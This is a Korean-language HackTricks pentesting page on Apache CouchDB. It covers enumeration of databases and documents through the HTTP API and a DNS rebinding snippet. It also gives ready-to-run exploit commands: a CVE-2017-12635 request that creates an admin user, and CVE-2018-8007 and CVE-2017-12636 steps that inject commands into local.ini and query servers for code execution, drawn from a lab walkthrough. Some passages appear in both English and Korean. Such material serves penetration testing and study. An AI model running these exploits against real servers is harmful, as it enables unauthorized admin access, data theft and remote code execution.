24 KiB
5984,6984 - CouchDB 펜테스팅
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
CouchDB는 문서 지향 데이터베이스로, 각 문서 내에서 키-값 맵 구조를 사용하여 데이터를 구성합니다. 문서 내의 필드는 키/값 쌍, 리스트 또는 맵으로 표현될 수 있어 데이터 저장 및 검색에 유연성을 제공합니다.
CouchDB에 저장된 각 문서는 문서 수준에서 고유 식별자(_id
)가 할당됩니다. 또한 데이터베이스에 대한 각 수정 사항은 리비전 번호(_rev
)가 할당됩니다. 이 리비전 번호를 사용하여 변경 사항을 효율적으로 추적하고 관리할 수 있으며, 데이터베이스 내에서 데이터를 쉽게 검색하고 동기화할 수 있습니다.
기본 포트: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
자동 열거
Automatic enumeration is a technique used in pentesting to gather information about a target system or network. It involves using automated tools to scan and enumerate various aspects of the target, such as open ports, running services, and installed software.
자동 열거는 펜테스팅에서 대상 시스템이나 네트워크에 대한 정보를 수집하는 기술입니다. 이는 자동화된 도구를 사용하여 대상의 열린 포트, 실행 중인 서비스 및 설치된 소프트웨어와 같은 다양한 측면을 스캔하고 열거하는 것을 포함합니다.
Port Scanning
Port scanning is a crucial step in the enumeration process. It involves scanning a target system or network for open ports, which are points of entry for network services. By identifying open ports, an attacker can determine which services are running on the target and potentially exploit any vulnerabilities associated with those services.
포트 스캐닝은 열거 과정에서 중요한 단계입니다. 이는 대상 시스템이나 네트워크에서 네트워크 서비스의 진입점인 열린 포트를 스캔하는 것을 의미합니다. 열린 포트를 식별함으로써 공격자는 대상에서 실행 중인 서비스를 확인하고 해당 서비스와 관련된 취약점을 이용할 수 있습니다.
There are various port scanning techniques, such as TCP connect scanning, SYN scanning, and UDP scanning. Each technique has its advantages and disadvantages, and the choice of technique depends on the specific scenario and the target system.
TCP 연결 스캐닝, SYN 스캐닝 및 UDP 스캐닝과 같은 다양한 포트 스캐닝 기술이 있습니다. 각 기술은 장단점이 있으며 기술의 선택은 특정 시나리오와 대상 시스템에 따라 달라집니다.
Service Enumeration
Once open ports have been identified, the next step is to enumerate the services running on those ports. Service enumeration involves gathering information about the specific services, such as the version number, running processes, and configuration details.
열린 포트가 식별되면 다음 단계는 해당 포트에서 실행 중인 서비스를 열거하는 것입니다. 서비스 열거는 버전 번호, 실행 중인 프로세스 및 구성 세부 정보와 같은 특정 서비스에 대한 정보를 수집하는 것을 의미합니다.
There are various tools and techniques available for service enumeration, such as banner grabbing, fingerprinting, and vulnerability scanning. These techniques help in identifying the specific services running on the target system and provide valuable information for further exploitation.
배너 그래빙, 지문 인식 및 취약점 스캐닝과 같은 다양한 도구와 기술이 서비스 열거에 사용됩니다. 이러한 기술은 대상 시스템에서 실행 중인 특정 서비스를 식별하고 추가적인 공격을 위한 유용한 정보를 제공하는 데 도움이 됩니다.
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
배너
CouchDB 서비스에 대한 정보를 수집하기 위해 첫 번째로 할 수 있는 것은 서비스의 배너를 확인하는 것입니다. 배너는 서비스의 버전 및 기타 유용한 정보를 제공할 수 있습니다.
$ telnet <target_ip> <port>
위 명령을 사용하여 CouchDB 서비스에 연결합니다. 연결이 성공하면 서비스의 배너가 표시됩니다. 배너에는 CouchDB의 버전 및 기타 정보가 포함될 수 있습니다.
DNS Rebinding
CouchDB 서비스에 대한 DNS Rebinding을 사용하여 서비스에 액세스할 수도 있습니다. DNS Rebinding은 공격자가 피해자의 브라우저에서 실행되는 JavaScript 코드를 통해 피해자의 네트워크에 액세스하는 기술입니다.
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://<target_ip>:<port>/_all_dbs", true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
console.log(xhr.responseText);
}
};
xhr.send();
위의 JavaScript 코드를 사용하여 CouchDB 서비스에 액세스할 수 있습니다. <target_ip>
와 <port>
를 대상 서비스의 IP 주소와 포트 번호로 대체하십시오. 코드를 실행하면 CouchDB의 모든 데이터베이스를 확인할 수 있습니다.
HTTP 요청
CouchDB는 HTTP를 통해 통신하는 RESTful API를 제공합니다. 따라서 HTTP 요청을 사용하여 서비스에 액세스할 수 있습니다.
$ curl -X GET http://<target_ip>:<port>/_all_dbs
위의 명령을 사용하여 CouchDB 서비스에 HTTP GET 요청을 보낼 수 있습니다. <target_ip>
와 <port>
를 대상 서비스의 IP 주소와 포트 번호로 대체하십시오. 응답으로 CouchDB의 모든 데이터베이스를 확인할 수 있습니다.
curl http://IP:5984/
이는 설치된 CouchDB 인스턴스에 GET 요청을 보냅니다. 응답은 다음 중 하나와 비슷한 형태여야 합니다:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
루트 couchdb에 액세스하면 다음과 같은 401 Unauthorized
오류가 발생합니다: {"error":"unauthorized","reason":"Authentication required."}
배너나 다른 엔드포인트에 액세스할 수 없습니다.
{% endhint %}
정보 열거
다음은 GET 요청으로 액세스하여 일부 흥미로운 정보를 추출할 수 있는 엔드포인트입니다. couchdb 문서에서 더 많은 엔드포인트 및 자세한 설명을 찾을 수 있습니다.
/_active_tasks
실행 중인 작업 목록입니다. 작업 유형, 이름, 상태 및 프로세스 ID를 포함합니다./_all_dbs
CouchDB 인스턴스의 모든 데이터베이스 목록을 반환합니다./_cluster_setup
클러스터 또는 노드의 상태를 클러스터 설정 마법사에 따라 반환합니다./_db_updates
CouchDB 인스턴스의 모든 데이터베이스 이벤트 목록을 반환합니다. 이 엔드포인트를 사용하려면_global_changes
데이터베이스가 존재해야 합니다./_membership
클러스터에 속한 노드를cluster_nodes
로 표시합니다.all_nodes
필드는 클러스터에 속한 노드뿐만 아니라 이 노드가 알고 있는 모든 노드를 표시합니다./_scheduler/jobs
복제 작업 목록입니다. 각 작업 설명에는 소스 및 대상 정보, 복제 ID, 최근 이벤트 기록 및 기타 몇 가지 정보가 포함됩니다./_scheduler/docs
복제 문서 상태 목록입니다.completed
및failed
상태의 모든 문서에 대한 정보를 포함합니다. 각 문서에는 문서 ID, 데이터베이스, 복제 ID, 소스 및 대상 등의 정보가 반환됩니다./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
엔드포인트는 요청을 처리하는 서버의 Erlang 노드 이름을 확인하는 데 사용할 수 있습니다. 이 정보를 검색하기 위해/_node/_local
에 액세스할 때 가장 유용합니다./_node/{node-name}/_stats
_stats
리소스는 실행 중인 서버의 통계를 포함하는 JSON 개체를 반환합니다. 리터럴 문자열_local
은 로컬 노드 이름의 별칭으로 사용되므로 모든 통계 URL에서{node-name}
을_local
로 대체하여 로컬 노드의 통계와 상호 작용할 수 있습니다./_node/{node-name}/_system
_system
리소스는 실행 중인 서버의 다양한 시스템 수준 통계를 포함하는 JSON 개체를 반환합니다. 현재 노드 정보를 얻으려면 {node-name}으로_local
을 사용할 수 있습니다./_node/{node-name}/_restart
/_up
서버가 실행 중이고 요청에 응답할 준비가 되어 있는지 확인합니다.maintenance_mode
가true
또는nolb
인 경우 엔드포인트는 404 응답을 반환합니다./_uuids
CouchDB 인스턴스에서 하나 이상의 범용 고유 식별자(UUID)를 요청합니다./_reshard
클러스터의 완료된, 실패한, 실행 중인, 중지된 및 전체 작업 수와 리샤딩 상태를 반환합니다.
여기에서 설명된대로 더 흥미로운 정보를 추출할 수 있습니다: https://lzone.de/cheat-sheet/CouchDB
데이터베이스 목록
curl -X GET http://IP:5984/_all_dbs
만약 해당 요청이 401 권한 없음으로 응답한다면, 데이터베이스에 접근하기 위해 유효한 자격 증명이 필요합니다:
curl -X GET http://user:password@IP:5984/_all_dbs
유효한 자격 증명을 찾기 위해 서비스를 무차별 대입 공격할 수 있습니다.
다음은 데이터베이스 목록만 있는 경우에 충분한 권한이 있는 경우의 couchdb 응답의 예시입니다:
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
데이터베이스 정보
데이터베이스 이름에 접근하여 일부 데이터베이스 정보(파일 수 및 크기 등)를 얻을 수 있습니다:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
문서 목록
데이터베이스 내의 각 항목을 나열합니다.
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
문서 읽기
데이터베이스 내의 문서 내용을 읽습니다:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Erlang과 JavaScript JSON 파서 간의 차이로 인해 다음 요청을 사용하여 자격 증명이 hacktricks:hacktricks
인 관리자 사용자를 생성할 수 있습니다:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
CouchDB RCE
Erlang 쿠키 보안 개요
예시 여기에서.
CouchDB 문서에서는 특히 클러스터 설정에 관한 섹션에서 CouchDB가 클러스터 모드에서 사용하는 포트에 대해 설명합니다 (링크). 독립 모드와 마찬가지로 포트 5984
가 사용된다고 언급되어 있습니다. 추가로, 포트 5986
은 노드 로컬 API에 사용되며, 중요한 것은 Erlang이 Erlang 클러스터 내에서 노드 간 통신을 용이하게 하는 Erlang Port Mapper Daemon (EPMD)에 대해 TCP 포트 4369
가 필요하다는 것입니다. 이 설정은 각 노드가 다른 모든 노드와 상호 연결된 네트워크를 형성합니다.
포트 4369
에 대한 중요한 보안 공지가 강조됩니다. 이 포트가 인터넷이나 신뢰할 수 없는 네트워크를 통해 접근 가능하게 되면, 시스템의 보안은 "쿠키"라고 알려진 고유 식별자에 매우 의존합니다. 이 쿠키는 보호 장치 역할을 합니다. 예를 들어, 주어진 프로세스 목록에서 "monster"라는 이름의 쿠키가 관찰될 수 있으며, 이는 시스템의 보안 프레임워크에서의 운영 역할을 나타냅니다.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
이 "쿠키"가 Erlang 시스템의 컨텍스트에서 원격 코드 실행 (RCE)을 위해 어떻게 악용될 수 있는지 이해하고 싶은 사람들을 위해, 추가로 읽을 수 있는 전용 섹션이 제공됩니다. 이 섹션에서는 Erlang 쿠키를 무단으로 악용하여 시스템을 제어하기 위한 방법론에 대해 자세히 설명합니다. 여기에서 Erlang 쿠키를 RCE에 악용하는 상세 가이드를 살펴보세요.
local.ini 수정을 통한 CVE-2018-8007 악용
예시는 여기에서 확인할 수 있습니다.
Apache CouchDB에 영향을 미치는 최근에 공개된 취약점인 CVE-2018-8007을 악용하기 위해 local.ini
파일에 쓰기 권한이 필요하다는 사실이 밝혀졌습니다. 초기 대상 시스템에 직접 적용할 수 없는 보안 제한 때문에 local.ini
파일에 쓰기 권한을 부여하기 위해 수정을 가했습니다. 아래에는 이 과정을 보여주기 위해 상세한 단계와 코드 예시가 제공됩니다.
먼저, local.ini
파일이 쓰기 가능한 상태로 환경을 준비하고, 권한을 나열하여 확인합니다:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
취약점을 악용하기 위해 local.ini
의 cors/origins
구성을 대상으로 curl 명령이 실행됩니다. 이는 [os_daemons]
섹션 아래에 새로운 출처와 추가 명령을 주입하여 임의의 코드를 실행하는 것을 목표로 합니다:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
다음 검증에서는 주입된 구성을 local.ini
에서 확인하고, 변경 사항을 강조하기 위해 백업과 대조합니다:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
초기에는 예상 파일 (/tmp/0xdf
)이 존재하지 않아서 주입된 명령이 아직 실행되지 않았음을 나타냅니다. 추가 조사 결과, CouchDB와 관련된 프로세스가 실행 중이며, 주입된 명령을 실행할 수 있는 가능성이 있는 프로세스가 하나 있습니다:
root@canape:/home/homer/bin# ps aux | grep couch
다음은 CouchDB 프로세스를 종료하고 시스템이 자동으로 다시 시작되도록 함으로써 주입된 명령의 실행이 트리거되는 것을 확인하는 방법입니다. 이전에 누락된 파일의 존재로 확인됩니다:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
이 탐색은 특정 조건 하에서 CVE-2018-8007 취약점을 악용할 수 있는 가능성을 확인합니다. 특히, local.ini
파일에 대한 쓰기 권한이 필요합니다. 제공된 코드 예제와 절차적 단계는 통제된 환경에서 해당 취약점을 복제하는 명확한 안내를 제공합니다.
CVE-2018-8007에 대한 자세한 내용은 mdsec의 공지를 참조하세요: CVE-2018-8007.
Write Permissions on local.ini으로 CVE-2017-12636 탐색
예시 여기에서 가져왔습니다.
CVE-2017-12636이라는 취약점을 탐색했으며, 이를 통해 CouchDB 프로세스를 통한 코드 실행이 가능하지만, 특정 구성에서는 악용이 방지될 수 있습니다. 온라인에서는 다양한 Proof of Concept (POC) 참조가 있지만, CouchDB 버전 2에서는 일반적으로 대상이 되는 1.x 버전과 다른 취약점을 악용하기 위해 조정이 필요합니다. 초기 단계에서는 CouchDB 버전을 확인하고 예상되는 쿼리 서버 경로가 없는지 확인하는 것이 필요합니다:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
CouchDB 버전 2.0을 수용하기 위해 새로운 경로가 사용됩니다:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
다음 출력에서 나타나는 대로 새로운 쿼리 서버를 추가하고 호출하려고 시도했지만 권한 관련 오류가 발생했습니다.
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
추가 조사 결과 local.ini
파일에 권한 문제가 발견되었습니다. 해당 파일은 쓰기가 불가능한 상태였습니다. root 또는 homer 액세스를 사용하여 파일 권한을 수정함으로써 진행이 가능해졌습니다:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
다음 시도에서 쿼리 서버를 추가하는 것에 성공했으며, 응답에서 오류 메시지가 없는 것으로 확인되었습니다. local.ini
파일의 성공적인 수정은 파일 비교를 통해 확인되었습니다:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
프로세스는 데이터베이스와 문서를 생성한 후, 새로 추가된 쿼리 서버에 매핑된 사용자 정의 뷰를 통해 코드를 실행하려는 시도로 이어졌습니다:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
특정 조건 하에서 CVE-2017-12636을 악용하는 데 대한 추가적인 통찰력을 제공하는 **요약**은 대체 페이로드로 제공됩니다. 이 취약점을 악용하기 위한 유용한 자료는 다음과 같습니다:
Shodan
port:5984 couchdb
참고 자료
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.